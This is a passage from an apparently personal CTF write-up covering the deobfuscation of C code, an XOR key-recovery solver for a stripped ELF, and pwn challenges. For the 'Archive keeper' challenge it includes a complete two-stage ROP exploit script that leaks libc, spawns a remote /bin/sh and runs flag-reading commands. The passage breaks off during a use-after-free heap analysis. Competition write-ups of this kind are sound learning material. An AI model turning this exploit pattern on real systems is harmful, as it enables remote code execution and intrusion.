zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zz_zzzzzzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(zzzzz_ZZZ_zZZZ != zzz_ZZ_zZZZz) zzzzz_ZZZ_zZZZ = zzz_ZzzZ_zzz;zzzzzzzzz_zzzz;zz_zzzzzzzzzz_zz zzz_ZzzzZ_zzz :zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzz_zzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzz_zzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzz_zzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzz_zzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzz_zzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != z_zzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(zzzzz_ZZZ_zZZZ != zzz_ZZ_zZZZz) zzzzz_ZZZ_zZZZ = zzz_ZzzzzZ_zzz;zzzzzzzzz_zzzz;zz_zzzzzzzzzz_zz zzz_ZzzZzzZ_zzz :zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzz_zzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzz_zzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzz_zzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzz_zzzzzzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != z_zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzz_zzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(zzzzz_ZZZ_zZZZ != zzz_ZZ_zZZZz) zzzzz_ZZZ_zZZZ = zzz_zz_ZZzZ;zzzzzzzzz_zzzz;zz_zzzzzzzzzz_zz zzz_ZzzZ_zzz :zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzz_zzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzz_zzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzz_zzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzz_zzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(zzzzz_ZZZ_zZZZ != zzz_ZZ_zZZZz) zzzzz_ZZZ_zZZZ = zzz_ZzzzZ_zzz;zzzzzzzzz_zzzz;<br>            zz_zzzzzzzzzz_zz zzz_ZZ_zZZZz :<br>            zzzzz_ZZZ_ZzZZ = z_z;<br>            zzzzz_ZZZ_zZZZ = zzz_zz_ZZzZ;<br>            zzzzzzzzz_zzzz;<br>        zzzzz_zzzzzzzzzz_:<br>            zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;<br>            zzzzzzzzz_zzzz;<br>        }<br>    }<br>    zzzzz_zzzzzzzzzzzzzzzzzzzz(zzzzz_ZZZ_ZzZZ == zzzzz) {<br>        zzzzzzzz_zzzzzzz(zzz_zzZZ, zzz_zzzz);<br>        zzz_zzzzzzzzzzzzzzzzzzzz zzzzz;<br>    } zz_zzzzzzzz{<br>        zzz_zzzzzzzzzzzzzzzzzzzz z_z;<br>    }<br>}</pre><h3>1. Executive Summary:</h3><p>The “Apeiros” challenge presented a C source file, apeiros.c, which was heavily obfuscated and intentionally corrupted. The objective was to restore the file to a compilable state, analyze its internal logic, and extract the hidden flag. The solution involved static analysis to identify syntax errors caused by homoglyphs and hidden characters, followed by reverse engineering of a state machine that validates the flag.</p><h3>2. Initial Assessment:</h3><p>Upon initial inspection, the provided file apeiros.c appears to be valid C code but fails to compile due to numerous errors.</p><h4>2.1. File Analysis:</h4><p>•Filename: apeiros.c</p><p>•File Type: C source code (UTF-8)</p><p>•Observations: The code makes extensive use of macros for obfuscation (e.g., #define zzz_zzzz …).</p><h4>2.2. Compilation Errors</h4><p>Attempting to compile the file with gcc revealed several critical issues:</p><p>1.Syntax Errors: The compiler reported “expected ‘;’” errors where semicolons appeared to be present.</p><p>2.Undeclared Identifiers: Variables like zzz_ZZZZ and z_state were referenced but not defined.</p><p>3.Macro Conflicts: A macro definition conflicted with an array name.</p><h3>3. Deobfuscation and Repair:</h3><p>A systematic approach was taken to repair the source code to achieve a compilable state.</p><h4>3.1. Homoglyph Replacement:</h4><p>The challenge description mentioned a “Grecian girlfriend,” hinting at Greek characters. Hex analysis confirmed that the standard semicolon (;, U+003B) was replaced by the Greek Question Mark (;, U+037E).</p><p>Action: Replaced all instances of ; (U+037E) with ; (U+003B).</p><h4>3.2. Removing Hidden Characters:</h4><p>The file contained Zero Width Spaces (U+200B), which are invisible to the naked eye but cause compilation failures.</p><p>Action: Stripped all non-ASCII characters from the file.</p><h4>3.3. Code Corrections:</h4><p>Manual inspection revealed intentional typos and conflicts that needed resolution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*5QrsBpqu8YrguOPUPdusAg.png" /></figure><h3>4. Reverse Engineering:</h3><p>With the file successfully compiled, the resulting binary prompted for a flag. Dynamic analysis and source review revealed the verification logic.</p><h4>4.1. Control Flow Analysis:</h4><p>The program implements a finite state machine (FSM) using a switch statement inside a while loop. The state variable zzzzz_ZZZ_zZZZ controls the execution flow, validating the input flag character-by-character.</p><h4>4.2. Data Extraction:</h4><p>The FSM validates the input flag character-by-character against expected values defined as macros. We extracted these comparisons using regular expressions:</p><blockquote>// Example extracted line</blockquote><blockquote>z[Z++] != z_zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz</blockquote><h3>5. Solution Development:</h3><p>To automate the recovery of the flag, a Python script was developed to parse the C macros and reconstruct the expected string.</p><h4>5.1. Solver Script (solve.py):</h4><p>The script performs two main functions:</p><p>1.Parses #define directives to map macro names to characters.</p><p>2.Reads the comparison logic to build the flag string.</p><p>(scroll down and See Appendix A for the full script)</p><h4>5.2. Flag Reconstruction:</h4><p>The solver produced the raw string: 4r3_und3rnexus{3ss0r_3st1m4t3d}pr3pr0c.</p><p>However, due to the non-linear execution of the state machine, these segments were out of order. Tracing the state transitions revealed the correct sequence:</p><p>1.nexus{ (Start)</p><p>2.pr3pr0c</p><p>3.3ss0r_</p><p>4.4r3_und3r</p><p>5.3st1m4t3d} (End)</p><h3>6. Conclusion:</h3><p>By combining the reordered segments, the final flag was determined.</p><p>Flag: nexus{pr3pr0c3ss0r_4r3_und3r3st1m4t3d}</p><p>Verification confirmed this flag is correct.</p><h3>Appendix A: Solver Script:</h3><h4>Python:</h4><pre>import re<br><br>def parse_definitions(filename):<br>    defs = {}<br>    with open(filename, &#39;r&#39;) as f:<br>        for line in f:<br>            match = re.match(r&#39;#define\s+(\w+)\s+(.+)&#39;, line.strip())<br>            if match:<br>                name = match.group(1)<br>                val_str = match.group(2).strip()<br>                <br>                if val_str.startswith(&quot;&#39;&quot;) and val_str.endswith(&quot;&#39;&quot;):<br>                    val = val_str[1:-1]<br>                    if val == &#39;\\0&#39;:<br>                        val = &#39;\0&#39;<br>                    elif val == &#39;\\n&#39;:<br>                        val = &#39;\n&#39;<br>                    else:<br>                        try:<br>                            val = chr(int(val_str))<br>                        except ValueError:<br>                            val = val_str<br>                <br>                defs[name] = val<br>    return defs<br><br>def decode_flag(comparisons_file, defs):<br>    flag = &quot;&quot;<br>    with open(comparisons_file, &#39;r&#39;) as f:<br>        for line in f:<br>            match = re.search(r&#39;z\[Z\+\+\] != ([^\s;]+)&#39;, line)<br>            if match:<br>                macro = match.group(1)<br>                if macro in defs:<br>                    flag += defs[macro]<br>                else:<br>                    flag += f&quot;[{macro}?]&quot;<br>    return flag<br><br># Example usage (assuming &#39;definitions.txt&#39; and &#39;comparisons.txt&#39; are created)<br># defs = parse_definitions(&#39;definitions.txt&#39;)<br># flag = decode_flag(&#39;comparisons.txt&#39;, defs)<br># print(f&quot;Raw Recovered String: {flag}&quot;)</pre><p>Too easy onto the next!</p><h3>7) HuntMe2:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*1Q1C3zkeKg17m5-PsPio8g.png" /></figure><p>This one was in the beginner section alongside HuntMe1 All hunt me parts are connected but i only solved 2 and 3 the 1st was solved by my teammate <a href="https://medium.com/u/1efb128c8288">Xyph3ria</a>, check out their write ups, W person!!</p><h3>Challenge Description:</h3><blockquote>The trail doesn’t stay still. The forest shifts, and the signs no longer speak plainly. What was once hidden in plain sight is now layered behind changing patterns.</blockquote><p>The challenge provides a single binary file: HuntMe2</p><h3>Initial Analysis:</h3><h4>Step 1: Binary Identification:</h4><p>First, we identify the file type:</p><pre>$ file HuntMe2<br>HuntMe2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter<br>/lib64/ld-linux-x86-64.so.2, BuildID[sha1]=90805c7ce81deefe66e4ae811f1b1d0d9d9b8f40, for GNU/Linux 3.2.0,<br>stripped</pre><p>Key observations:</p><p>•64-bit ELF executable</p><p>•Dynamically linked</p><p>•Stripped (no symbol information)</p><h4>Step 2: Running the Binary:</h4><pre>$ chmod +x HuntMe2<br>$ ./HuntMe2<br>The trail twists again. What once was simple is now layered and shifting. Pat-<br>terns exist – but only for those who trace them carefully.<br>Speak what the forest now demands:</pre><p>The binary prompts for input and validates it.</p><h4>Step 3: String Analysis:</h4><pre>$ strings HuntMe2<br>fgets<br>stdin<br>puts<br>strlen<br>__libc_start_main<br>libc.so.6<br>The trail twists again. What once was simple is<br>now layered and shifting. Patterns exist – but only for those who trace them carefully. Speak what the forest now<br>demands:<br>The wind swallows your answer. You adapt. The hunt continues.<br>The forest remains closed to you.</pre><p>The strings suggest a validation program with success/failure messages.</p><h3>Reverse Engineering:</h3><h4>Step 4: Disassembly</h4><p>Using objdump, we disassemble the binary to understand its logic:</p><pre>$ objdump -d HuntMe2 &gt; disasm.txt</pre><h4>Finding the Main Function:</h4><p>The entry point references the main function at address 0x4013df:</p><pre>4010a8: mov $0x4013df,%rdi<br>4010af: call *0x2f23(%rip) # __libc_start_main</pre><h4>Main Function Analysis (0x4013df):</h4><p>The main function performs these steps:</p><p>1.Prints prompts.</p><p>2.Calls validation function at 0x40132a.</p><p>3.Reads input using fgets() (max 128 bytes).</p><p>4.Strips newline character (\n) and null terminator (\0).</p><p>5.Prints success/failure message based on return value.</p><h4>Step 5: Validation Function Analysis (0x40132a):</h4><p>The validation function contains the core logic:</p><pre>40132a: sub $0x30,%rsp # Allocate stack space<br>40133a: mov %rdi,%rax<br>40133e: call 401070 &lt;strlen@plt&gt; # Get input length<br>401346: mov %rax,-0x10(%rbp)<br>40134a: cmpq $0x20,-0x10(%rbp) # Compare length with 32<br>40134f: je 40135b # Jump if equal<br>401351: mov $0x0,%eax # Return 0 (failure)<br>401356: jmp 4013dd</pre><h4>Critical finding: Input must be exactly 32 characters (0x20 bytes).</h4><p>The function then:</p><p>1.Calls initialization function at 0x401176.</p><p>2.Loops through each character (0–31).</p><p>3.Generates XOR key using function at 0x401239.</p><p>4.XORs input character with key.</p><p>5.Compares with encrypted data at 0x402060.</p><h4>Step 6: Data Extraction:</h4><h4>Encrypted Flag (0x402060):</h4><p>We extract the 32 bytes of encrypted data:</p><pre>$ xxd -s 0x2060 -l 32 HuntMe2<br>00002060: f898 76fb c90a 030d 443d 6ba6 c325 a860 ..v.....D=k..%.`<br>00002070: fb57 6cf3 a1f0 cf61 e6e4 4516 0e18 3e27 .Wl....a..E...&gt;’</pre><p>Hex: f89876fbc90a030d443d6ba6c325a860fb576cf3a1f0cf61e6e445160e183e27</p><h4>Key Material (0x402020):</h4><p>Five 7-byte strings used for key generation are located here:</p><pre>$ xxd -s 0x2020 -l 35 HuntMe2<br>00002020: a8c5 83a0 422c 01cb 3220 f3cf 65bc 1379 ....B,..2 ..e..y<br>00002030: b229 7461 e7a7 6876 0a4e 3943 f1cd 12b2 .)ta..hv.N9C....<br>00002040: 7d0b 2d }.-</pre><p>Breakdown:</p><p>•String 0: a8c583a0422c01</p><p>•String 1: cb3220f3cf65bc</p><p>•String 2: 1379b2297461e7</p><p>•String 3: a768760a4e3943</p><p>•String 4: f1cd12b27d0b2d</p><h3>Key Generation Algorithm:</h3><h4>Step 7: Analyzing Function 0x401239:</h4><p>This function generates the XOR key for each character position (index):</p><pre>def generate_key(index):<br>    result = 0<br>    # Loop through 5 key strings<br>    for j in range(5):<br>        # Calculate offset into string j<br>        offset = ((j + 1) * index + j * j + 3) % 7<br>        # XOR with byte at that offset<br>        result ^= key_strings[j][offset]<br>    <br>    # Rotate left by 1 bit<br>    result = ((result &lt;&lt; 1) | (result &gt;&gt; 7)) &amp; 0xFF<br>    <br>    # Apply post-processing transformation<br>    result = transform(result, index)<br>    <br>    return result</pre><h4>Step 8: Analyzing Function 0x401201:</h4><p>The transform() function applies additional obfuscation:</p><pre>def transform(byte_val, idx):<br>    # XOR with (byte &lt;&lt; 3)<br>    byte_val ^= ((byte_val &lt;&lt; 3) &amp; 0xFF)<br>    # XOR with (byte &gt;&gt; 5)<br>    byte_val ^= ((byte_val &gt;&gt; 5) &amp; 0xFF)<br>    # XOR with (idx * 61)<br>    byte_val ^= ((idx * 61) &amp; 0xFF)<br>    return byte_val &amp; 0xFF</pre><p>Note: The multiplier is 0x3d (61 in decimal).</p><h3>Solution Development:</h3><h4>Step 9: Creating the Solver:</h4><p>With the complete algorithm understood, we create a Python solver:</p><pre>#!/usr/bin/env python3<br><br># Extracted data from binary<br>KEYS_HEX = &quot;a8c583a0422c01cb3220f3cf65bc1379b2297461e7a768760a4e3943f1cd12b27d0b2d&quot;<br>TARGET_HEX = &quot;f89876fbc90a030d443d6ba6c325a860fb576cf3a1f0cf61e6e445160e183e27&quot;<br><br>KEYS = bytes.fromhex(KEYS_HEX)<br>TARGET = bytes.fromhex(TARGET_HEX)<br><br># Split keys into 5 parts of 7 bytes<br>key_slices = [KEYS[i*7:(i+1)*7] for i in range(5)]<br><br>def rol(x, n):<br>    &quot;&quot;&quot;Rotate left by n bits&quot;&quot;&quot;<br>    return ((x &lt;&lt; n) | (x &gt;&gt; (8 - n))) &amp; 0xFF<br><br>def generate_key(idx):<br>    k = 0<br>    # Process each of the 5 key strings<br>    for j in range(5):<br>        # Calculate position: ((j+1)*idx + j*j + 3) % 7<br>        p = ((j + 1) * idx + j * j + 3) % 7<br>        <br>        # XOR with byte at calculated position<br>        c = key_slices[j][p]<br>        k ^= c<br>    <br>    # Rotate left by 1 bit<br>    k = rol(k, 1)<br>    <br>    # Post-processing transformations<br>    k ^= (k &lt;&lt; 3) &amp; 0xFF<br>    k ^= (k &gt;&gt; 5) &amp; 0xFF<br>    k ^= (idx * 61) &amp; 0xFF<br>    <br>    return k<br><br># Decrypt the flag<br>flag = []<br>for i in range(32):<br>    key = generate_key(i)<br>    # input[i] ^ key == target[i] =&gt; input[i] = target[i] ^ key<br>    decrypted = TARGET[i] ^ key<br>    flag.append(chr(decrypted))<br><br>print(&quot;Flag:&quot;, &quot;&quot;.join(flag))</pre><h4>Step 10: Running the Solver:</h4><pre>$ python3 solver.py<br>Flag: nexus{f0ll0w_7h3_ch4ng1ng_7r41l}</pre><h3>Flag:</h3><blockquote>nexus{f0ll0w_7h3_ch4ng1ng_7r41l}</blockquote><h3>Summary:</h3><p>This challenge demonstrated:</p><p>1.Binary reverse engineering of a stripped ELF executable.</p><p>2.Complex XOR encryption with dynamic key generation.</p><p>3.Multi-layer obfuscation including:</p><p>•Position-based string indexing with modular arithmetic.</p><p>•Bit rotation operations.</p><p>•Multiple XOR transformations.</p><p>4.Data extraction from specific binary offsets.</p><p>The flag’s thematics (“follow the changing trail”) cleverly reference the challenge’s dynamic key generation algorithm where each character’s decryption key is uniquely computed based on its position and multiple transformation layers.</p><h3>8)Archive keeper(pwn):</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*Go2L0VKQsJbEc_7HvUqGbw.png" /></figure><h4>Challenge Goal: Exploit a vulnerability in the chall binary to gain a remote shell and retrieve the flag.</h4><h4>Final Flag: nexus{B0ok_F0uND_L1BC_R3t}</h4><h4>Challenge Type: Binary Exploitation (Pwn) — Stack Buffer Overflow with Return-Oriented Programming (ROP)</h4><h4>Connection Info : nc ctf.nexus-security.club 2711</h4><h3>1. Initial Analysis:</h3><p>The challenge provides a 64-bit ELF executable (chall), a custom C standard library (libc.so.6), the dynamic linker (ld-linux-x86–64.so.2).</p><h4>Binary Security Features:</h4><p>Using checksec on the chall binary reveals the following security mitigations:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*gbWEEhInI6rr35cfzyAMvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*CimjY7xc2dNzCU8TmSMPLA.png" /></figure><p>The absence of a Stack Canary and PIE, combined with the presence of NX, strongly suggests a Return-Oriented Programming (ROP) attack is the intended solution. The vulnerability is a Stack Buffer Overflow.</p><h4>Vulnerability Identification:</h4><p>Analysis of the provided challenge file and instance, confirms a classic stack buffer overflow. The script that we should write should construct its initial payload with a 72-byte padding before the ROP chain:</p><pre>payload = b&#39;A&#39; * 64  # Buffer padding<br>payload += b&#39;B&#39; * 8   # Saved Base Pointer (RBP) padding<br># ROP chain follows...</pre><p>This indicates the vulnerable function accepts an input of at least 72 bytes, overwriting the saved Return Address (RIP) at an offset of 72 bytes.</p><h3>2. Exploitation Strategy: Two-Stage ROP:</h3><p>Since NX is enabled, the exploit must use ROP to bypass this protection. The strategy is a standard two-stage ROP attack:</p><ol><li>Stage 1: Libc Leak — Overwrite the return address to execute a ROP chain that leaks the base address of the loaded libc.so.6 by calling a function like puts() on a known GOT entry (e.g., puts@GOT). The execution then returns to the program’s main function to allow for a second exploit attempt.</li></ol><p>2. Stage 2: Shell Execution — Use the leaked libc base address to calculate the exact addresses of system() and the string “/bin/sh”. A second ROP chain is then executed to call system(“/bin/sh”), granting a remote shell.</p><h4>Key Addresses and Offsets:</h4><p>after disassembly we can find the necessary fixed addresses from the non-PIE binary and the offsets from the custom libc.so.6:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*S4uDwdFSpFgY6YkC6wVQMw.png" /></figure><h3>3. Stage 1: Libc Base Address Leak</h3><p>The first ROP chain is constructed to leak the address of puts as loaded in memory.</p><h4>ROP Chain 1:</h4><p>1.Padding: 72 bytes (b’A’ * 64 + b’B’ * 8) to reach the return address.</p><p>2.pop rdi; ret (0x40114a): Sets up the first argument.</p><p>3.puts@GOT (0x404000): The argument for puts (the address whose value we want to print).</p><p>4.puts@PLT (0x401030): The function to call, which will print the value at puts@GOT.</p><p>5.main (0x4011e0): The return address to restart the program and execute the second stage.</p><p>After the program executes this chain, the address of puts in the remote libc is printed to the output. The exploit script then calculates the libc base address:</p><blockquote>\text{libc\_base} = \text{leaked\_puts\_address} — \text{puts\_offset}</blockquote><p>Once the libc\_base is known, the absolute addresses for system() and “/bin/sh” are calculated:</p><blockquote>\text{system\_addr} = \text{libc\_base} + \text{system\_offset} \\ \text{binsh\_addr} = \text{libc\_base} + \text{binsh\_offset}</blockquote><h3>4. Stage 2: Shell Execution:</h3><p>The program restarts at main, and the second input is used to execute the final ROP chain.</p><h4>ROP Chain 2:</h4><ol><li>Padding: 72 bytes (b’A’ * 64 + b’B’ * 8) to reach the return address.</li></ol><p>2. ret Gadget (0x401016): A necessary step on x64 systems to ensure the stack is 16-byte aligned before calling system.</p><p>3. pop rdi; ret (0x40114a): Sets up the first argument.</p><p>4. binsh\_addr: The calculated address of the string “/bin/sh” (the argument for system).</p><p>5. system\_addr: The calculated address of the system function (the function to call).</p><p>This final ROP chain executes system(“/bin/sh”), which spawns a remote shell, allowing the attacker to interact with the server and retrieve the flag.</p><h3>Working solver script :</h3><h4>Python:</h4><pre>#!/usr/bin/env python3<br>import socket<br>import struct<br>import time<br>import sys<br>import select<br><br># Connection details<br>HOST = &#39;ctf.nexus-security.club&#39;<br>PORT = 2711<br><br>def p64(value):<br>    &quot;&quot;&quot;Pack a 64-bit integer to bytes (little endian)&quot;&quot;&quot;<br>    return struct.pack(&#39;&lt;Q&#39;, value)<br><br>def u64(data):<br>    &quot;&quot;&quot;Unpack 64-bit integer from bytes (little endian)&quot;&quot;&quot;<br>    return struct.unpack(&#39;&lt;Q&#39;, data[:8])[0]<br><br>def connect():<br>    &quot;&quot;&quot;Connect to the remote server&quot;&quot;&quot;<br>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    s.connect((HOST, PORT))<br>    return s<br><br>def recv_until(s, delimiter, timeout=2):<br>    &quot;&quot;&quot;Receive data until delimiter is found&quot;&quot;&quot;<br>    s.settimeout(timeout)<br>    data = b&#39;&#39;<br>    try:<br>        while delimiter not in data:<br>            chunk = s.recv(1)<br>            if not chunk:<br>                break<br>            data += chunk<br>    except socket.timeout:<br>        pass<br>    return data<br><br># Addresses from binary analysis<br>pop_rdi = 0x40114a  # pop rdi; ret<br>puts_plt = 0x401030<br>puts_got = 0x404000<br>main_addr = 0x4011e0<br>ret_gadget = 0x401016  # simple ret for stack alignment<br><br># Libc offsets<br>puts_offset = 0x0805a0<br>system_offset = 0x053110<br>binsh_offset = 0x1a7ea4<br><br>print(&quot;[*] Stage 1: Leaking libc address...&quot;)<br>s = connect()<br><br># Receive the prompt<br>prompt = recv_until(s, b&#39;:&#39;)<br>print(f&quot;[+] Received: {prompt.decode().strip()}&quot;)<br><br># Build ROP chain to leak puts address<br>payload = b&#39;A&#39; * 64<br>payload += b&#39;B&#39; * 8<br>payload += p64(pop_rdi)<br>payload += p64(puts_got)<br>payload += p64(puts_plt)<br>payload += p64(main_addr)<br><br>s.send(payload + b&#39;\n&#39;)<br><br># Receive the leaked address<br>leaked_data = recv_until(s, b&#39;Welcome&#39;, timeout=1)<br>print(f&quot;[+] Raw received data (hex): {leaked_data.hex()}&quot;)<br><br># Parse the leaked address<br>if b&#39;Welcome&#39; in leaked_data or len(leaked_data) &gt; 0:<br>    leak_part = leaked_data.split(b&#39;Welcome&#39;)[0] if b&#39;Welcome&#39; in leaked_data else leaked_data<br>    <br>    if leak_part.startswith(b&#39;\n&#39;):<br>        leak_part = leak_part[1:]<br>    <br>    if leak_part.endswith(b&#39;\n&#39;):<br>        leak_part = leak_part[:-1]<br>    <br>    if len(leak_part) &gt;= 6:<br>        leak_bytes = leak_part.ljust(8, b&#39;\x00&#39;)<br>        leaked_puts = u64(leak_bytes)<br>        print(f&quot;[+] Leaked puts address: {hex(leaked_puts)}&quot;)<br>        <br>        libc_base = leaked_puts - puts_offset<br>        print(f&quot;[+] Calculated libc base: {hex(libc_base)}&quot;)<br>        <br>        system_addr = libc_base + system_offset<br>        binsh_addr = libc_base + binsh_offset<br>        <br>        print(f&quot;[+] system() address: {hex(system_addr)}&quot;)<br>        print(f&quot;[+] /bin/sh address: {hex(binsh_addr)}&quot;)<br>        <br>        print(&quot;\n[*] Stage 2: Executing system(&#39;/bin/sh&#39;)...&quot;)<br>        <br>        # Wait for prompt<br>        time.sleep(0.2)<br>        remaining = s.recv(4096)<br>        print(f&quot;[+] Remaining data: {remaining.decode(errors=&#39;ignore&#39;).strip()}&quot;)<br>        <br>        # Build ROP chain to call system(&quot;/bin/sh&quot;)<br>        payload2 = b&#39;A&#39; * 64<br>        payload2 += b&#39;B&#39; * 8<br>        payload2 += p64(ret_gadget)<br>        payload2 += p64(pop_rdi)<br>        payload2 += p64(binsh_addr)<br>        payload2 += p64(system_addr)<br>        <br>        s.send(payload2 + b&#39;\n&#39;)<br>        <br>        print(&quot;[+] Shell spawned! Trying commands...&quot;)<br>        time.sleep(0.5)<br>        <br>        # Set socket to non-blocking<br>        s.setblocking(False)<br>        <br>        # Try commands<br>        commands = [<br>            b&#39;cat flag.txt\n&#39;,<br>            b&#39;cat flag\n&#39;,<br>            b&#39;ls -la\n&#39;,<br>            b&#39;pwd\n&#39;,<br>            b&#39;find . -name &quot;*flag*&quot;\n&#39;,<br>            b&#39;cat /flag\n&#39;,<br>            b&#39;cat /home/*/flag*\n&#39;,<br>        ]<br>        <br>        for cmd in commands:<br>            try:<br>                s.send(cmd)<br>                time.sleep(0.5)<br>                response = s.recv(4096)<br>                if response:<br>                    print(f&quot;\n[+] Command: {cmd.decode().strip()}&quot;)<br>                    print(f&quot;[+] Response:\n{response.decode(errors=&#39;ignore&#39;)}&quot;)<br>            except:<br>                pass<br>        <br>        s.close()<br>    else:<br>        print(&quot;[-] Leak too short&quot;)<br>        s.close()<br>else:<br>    print(&quot;[-] No leak received&quot;)<br>    s.close()</pre><p>running it would result in :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*0FptL2FFzdkEX3WYaHVrLQ.jpeg" /></figure><h3>Final flag : nexus{B0ok_F0uND_L1BC_R3t}</h3><h3>5. Conclusion:</h3><p>The Archivekeeper challenge is a classic example of a Stack Buffer Overflow exploitation using a Two-Stage ROP chain to bypass the NX protection. The lack of a stack canary and PIE significantly simplifies the attack, relying on a known offset to the return address and a calculated libc base address to achieve arbitrary code execution via system(“/bin/sh”). The final flag is successfully retrieved from the remote shell.</p><h3>9)Ghost note(pwn):</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*pc3pn0Upg8Ay4v8CTrW9Sw.jpeg" /></figure><h4>Connection Info : nc ctf.nexus-security.club 2808</h4><h4>Challenge: Ghostnote</h4><h4>Category: Pwn (Heap Exploitation)</h4><h4>Mitigations: Full RELRO, Canary, NX, PIE</h4><h4>Vulnerability: Use-After-Free (UAF)</h4><h4>Exploitation Technique: Libc Leak via Unsorted Bin UAF and Tcache Poisoning</h4><h4>Final Flag: nexus{h3ap_u4f_t0_tcache_p0is0ning_is_fun}</h4><h3>1. Initial Analysis and Binary Inspection:</h3><p>The challenge provides a 64-bit ELF executable named chall, along with a custom libc.so.6 and a dynamic linker. The presence of a custom libc is a significant hint, as it allows us to calculate exact offsets for exploitation.</p><p>We first analyze the security mitigations enabled on the binary using checksec:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*EVMGKrTLe0cE2Pkfj7tWLQ.png" /></figure><p>The combination of NX and PIE forces us to use a Return-Oriented Programming (ROP) chain or a similar technique, and the PIE requires a memory leak to defeat Address Space Layout Randomization (ASLR). The presence of a heap-based challenge (implied by the name “Ghostnote” and the provided solver script functions) suggests a Heap Exploitation vector is the intended solution.</p><h3>2. Program Functionality and Vulnerability Discovery:</h3><p>By analyzing the provided solver script, we can deduce the program’s core functionality, which is a simple note management system with four operations:</p><p>1. Add Note (1): Allocates a chunk of a user-specified size and writes user-provided content.</p><p>2. Delete Note (2): Frees a previously allocated chunk.</p><p>3. Show Note (3): Prints the content of a note.</p><p>4. Edit Note (4): Overwrites the content of an existing note.</p><p>The critical vulnerability is a Use-After-Free (UAF) condition. The show_note and edit_note functions likely do not clear the pointer to the note after it has been freed by delete_note. The solver script confirms this by calling show_note(io, 0) and 